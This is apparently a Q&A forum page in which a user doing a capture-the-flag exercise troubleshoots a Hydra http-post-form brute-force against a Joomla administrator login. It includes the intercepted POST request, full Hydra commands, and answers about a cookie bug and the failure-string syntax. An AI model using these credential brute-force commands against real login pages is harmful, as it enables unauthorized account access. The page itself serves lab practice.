3

I am doing some CTF and stumbled upon a problem with Hydra when trying to use it towards a post request. I allready know how to solve this, but I am having truble with Hydra.

Intecepted from burp

POST /administrator/index.php HTTP/1.1
Host: 10.10.10.126    
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate 
Referer: http://10.10.10.126/administrator/index.php  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 109  
Connection: close    
Cookie: eaa83fe8b963ab08ce9ab7d4a798de05=0mvnlo2q2792fi1rortceo4or3; 2b01af51830ca9615359108de04d9ca1=bpsnvqrm2mf6hc5akvnr8ftdu1  
Upgrade-Insecure-Requests: 1

 
username=admin&passwd=test&option=com_login&task=login&return=aW5kZXgucGhw&71800a4b802098aac7f3bbd7e49a8665=1

I've been googling a lot and tried several different things without success. What I did was the following:

hydra -l jonah -P test.txt 10.10.10.126 http-post-form "/administrator/index.php:username=^USER^&passwd=^PASS^&option=com_login&task=login&return=aW5kZXgucGhw&97f7e29809c1606df34ec3df81b10860=1:S=Warning:H=Cookie: eaa83fe8b963ab08ce9ab7d4a798de05=0mvnlo2q2792fi1rortceo4or3; 2b01af51830ca9615359108de04d9ca1=bpsnvqrm2mf6hc5akvnr8ftdu1"

-j is the correct username and

-P test.txt contains the correct password

Could someone tell me what is wrong with my request, and why it doesnt succeed?

Adam Smooch
  • 1,167
  • 1
  • 12
  • 27
tryingsohard
  • 59
  • 1
  • 3

2 Answers2

2

There is a bug with version 9.1 of hydra and it won't send a request if you give it a cookie. 9.1 is the version that is packaged with kali still, so you need to upgrade your hydra and it should fix the issue.

Eric Aya
  • 69,473
  • 35
  • 181
  • 253
XRBtoTheMOON
  • 141
  • 7
0

Try using like this and replace <IncoorectVerbiage> with something like "invalid password".

hydra -l jonah -P test.txt 10.10.10.126 http-post-form "/administrator/index.php:username=^USER^&passwd=^PASS^&option=com_login&task=login&return=aW5kZXgucGhw&97f7e29809c1606df34ec3df81b10860=1:<IncorrectVerbiage>"
zeze
  • 31
  • 2